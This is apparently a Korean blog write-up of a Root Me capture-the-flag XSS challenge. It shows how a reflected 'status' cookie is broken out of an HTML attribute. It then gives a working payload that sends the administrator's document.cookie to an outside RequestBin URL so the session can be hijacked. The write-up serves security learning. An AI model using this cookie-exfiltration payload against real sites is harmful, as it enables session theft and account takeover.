오랜만에 포스팅하는 Root Me 문제
이번엔 두번째 XSS 문제이다.
(첫번째 문제 : https://hackingstudypad.tistory.com/48)
두번째 문제라 그런가 점수가 50점으로 확 올라갔다.
문제의 목표는 첫번째 문제와 동일하게
administrator 의 session cooike 를 훔치는 것이다.
XSS 는 Cross Site Script 의 약자로
웹서버에 관리자가 아닌 사람이 악성 스크립트를 삽입할 수 있는 취약점이다.
보통 공격자들은 자신의 서버를 하나 열어놓은 뒤에,
XSS 취약점을 이용하여 타겟 웹 서버에 악성 스크립트를 삽입한 뒤,
사용자들의 인증정보(쿠키값, 세션값 등)를 탈취하는데 이용한다.
문제 페이지에 접속하면 이런 간단한 게시판 형태가 보인다.
왼쪽에 admin 버튼이 있고, 오른쪽에는 Status 가 invite 로 되어있다.
admin 버튼을 눌러봤는데
버튼 위에 Tsss 라는 글자가 출력되고 아무런 일도 일어나지 않는다.
시험삼아 hi 라고 글을 적어봤다.
글을 쓰면 저렇게 옆에 status 가 같이 찍혀서 나온다.
XSS 문제인 만큼 당연히 <script>alert(1)</script> 같은 기본적인 페이로드로도 시도해 봤는데
필터링이 걸려있는지 입력이 되지 않았다.
해당 페이지에서 쿠키값을 한번 확인해봤다.
status 라는 이름의 쿠키에 invite 라는 값이 저장되어있는데,
이걸 잘 변조하면 XSS가 가능할 것 같았다.
게시글을 작성하면 옆에 같이 찍혀나오는 부분을
f12 개발자도구를 이용해 보면,
<i class="invite">status : invite</i> 라고 되어있는것을 확인할 수 있다.
status 쿠키의 값을 EditThisCookie를 이용해 test로 바꾼다면
해당 부분도 invite에서 test로 바뀌어서 출력되게 된다.
이제 여기를 이용해서 XSS를 하면 된다.
status 쿠키의 값을
abcd"><script>alert(1)</script> 로 바꿔준다.
그럼 <i class="abcd"><script>alert(1)</script>">status : invite</i> 와 같이 입력값이 들어가게 되어서
alert(1) 이 실행될 것이다.
입력하고 새로고침 해보면
이렇게 alert(1) 이 실행되어서 알림창이 뜨는것을 볼 수 있다.
RequestBin(https://requestbin.net/)으로 가서 요청을 받아줄 주소를 하나 생성한다.
abcd"><script>document.location.href="http://mxi6n3yu5c13kxvi.b.requestbin.net?cookie="+document.cookie</script>
생성한 주소를 활용해 위와 같이 쿠키값을 설정해주고,
아무글이나 하나 작성한뒤 조금 기다리면
RequestBin에 찍혀있는 ADMIN_COOKIE 를 확인할 수 있다.
알아낸 쿠키값을 ModHeader를 이용해 적용시켜 주고,
문제페이지로 돌아와 admin 버튼을 누르면
플래그를 찾을 수 있다.
'워게임 > Root Me' 카테고리의 다른 글
[Root Me] NoSQL injection - Authentication - 웹해킹 / Python (43) | 2022.11.05 |
---|---|
[Root Me] PHP - Loose Comparison - 웹해킹 / MD5 Magic Hash (52) | 2022.10.25 |
[Root Me] SQL injection - Authentication - GBK - 웹해킹 / Burp Suite (50) | 2022.09.26 |
[Root Me] SQL injection - String - 웹해킹 (62) | 2022.09.23 |
[Root Me] SQL injection - Authentication - 웹해킹 (52) | 2022.09.18 |